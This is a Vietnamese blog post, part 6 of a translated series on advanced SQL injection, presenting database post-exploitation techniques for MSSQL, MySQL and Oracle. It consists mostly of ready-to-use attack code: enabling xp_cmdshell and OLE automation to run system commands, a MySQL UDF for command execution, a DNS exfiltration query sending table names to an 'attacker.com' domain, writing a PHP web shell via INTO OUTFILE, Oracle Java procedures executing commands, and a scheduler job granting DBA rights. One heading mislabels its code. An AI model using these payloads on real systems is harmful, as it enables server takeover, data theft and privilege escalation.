Notification texts go here Contact Us Buy Now!

[Bản dịch] Kỹ thuật SQL Injection nâng cao - Phần 6 (1/2)

Table of Contents


Kỹ thuật ép lỗi từ cơ sở dữ liệu cho SQL Injection

Dưới đây là một số kỹ thuật tiêm SQL tiên tiến và hiếm gặp cho MSSQL, MySQL và Oracle. Các kỹ thuật này vượt xa các kỹ thuật cơ bản và khai thác các tính năng và cấu hình cụ thể của cơ sở dữ liệu.

MSSQL  

1. Quy trình tự động hóa OLE
DECLARE @Object INT;
EXEC sp_OACreate 'WScript.Shell', @Object OUTPUT;
EXEC sp_OAMethod @Object, 'Run', NULL, 'cmd.exe /c whoami > C:\output.txt';
Phương pháp này sử dụng các thủ tục tự động hóa OLE để thực thi các lệnh hệ thống. 

2. Shell XP_CMD với tính năng leo thang đặc quyền
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Tính năng này cho phép xp_cmdshellthực thi các lệnh hệ thống nếu nó chưa được bật.

3. Máy chủ được liên kết
EXEC sp_addlinkedserver 'attacker_server';
EXEC sp_addlinkedsrvlogin 'attacker_server', 'false', NULL, 'username', 'password';
EXEC ('xp_cmdshell ''net user''') AT attacker_server;
Kỹ thuật này sử dụng các máy chủ được liên kết để chạy lệnh trên một máy chủ khác.

MySQL

1. UDF (Hàm do người dùng xác định) để thực hiện lệnh từ xa
CREATE TABLE foo(line BLOB);
INSERT INTO foo VALUES (LOAD_FILE('/usr/lib/lib_mysqludf_sys.so'));
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id > /tmp/out; chown mysql.mysql /tmp/out');
Kỹ thuật này liên quan đến việc tạo UDF để thực thi các lệnh hệ thống.

2. Lọc DNS
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT table_name FROM information_schema.tables LIMIT 0,1), '.attacker.com\\a'));
Điều này sẽ rò rỉ dữ liệu thông qua các yêu cầu DNS đến miền do kẻ tấn công kiểm soát.

3. Tiêm Nhật ký nhị phân
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
Điều này khai thác tính năng nhật ký nhị phân để viết một web shell.

Oracle

1. Các thủ tục Java để thực hiện lệnh
EXEC dbms_java.grant_permission( 'SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' );
EXEC dbms_java.grant_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' );
EXEC dbms_java.grant_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' );

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
   public static String run(String cmd) {
      try {
         StringBuffer output = new StringBuffer();
         Process p = Runtime.getRuntime().exec(cmd);
         BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
         String line = "";
         while ((line = reader.readLine())!= null) {
            output.append(line + "\n");
         }
         return output.toString();
      } catch (Exception e) {
         return e.toString();
      }
   }
};
/

CREATE OR REPLACE FUNCTION run_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'cmd.run(java.lang.String) return java.lang.String';
/

SELECT run_cmd('id') FROM dual;
Phương pháp này sử dụng các thủ tục lưu trữ Java để thực thi các lệnh hệ thống.

2. Gói UTL_FILE để truy cập tệp
DECLARE
   l_file UTL_FILE.FILE_TYPE;
   l_text VARCHAR2(32767);
BEGIN
   l_file := UTL_FILE.FOPEN('DIRECTORY_NAME', 'output.txt', 'W');
   UTL_FILE.PUT_LINE(l_file, 'Data from UTL_FILE');
   UTL_FILE.FCLOSE(l_file);
END;
Kỹ thuật này sử dụng UTL_FILEgói để ghi tập tin vào máy chủ.

3. DBMS_SCHEDULER để thực hiện công việc
BEGIN
   DBMS_SCHEDULER.create_job(
      job_name => 'job1',
      job_type => 'PLSQL_BLOCK',
      job_action => 'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END;',
      start_date => SYSTIMESTAMP,
      repeat_interval => NULL,
      end_date => NULL,
      enabled => TRUE
   );
END;
Điều này được sử dụng DBMS_SCHEDULERđể thực hiện các công việc có thể thay đổi quyền cơ sở dữ liệu.

Hết phần 6

Phần 1 tại đây | Phần 2 tại đây | Phần 3 tại đây | Phần 4 tại đây | Phần 5 tại đây | Phần 6-2 tại đây

Đăng nhận xét

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.